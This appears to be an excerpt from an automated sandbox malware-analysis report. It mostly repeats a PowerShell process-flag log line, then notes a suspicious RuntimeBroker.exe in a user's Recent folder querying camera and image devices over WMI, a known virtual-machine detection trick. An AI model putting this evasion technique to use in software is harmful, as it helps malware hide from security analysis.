Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
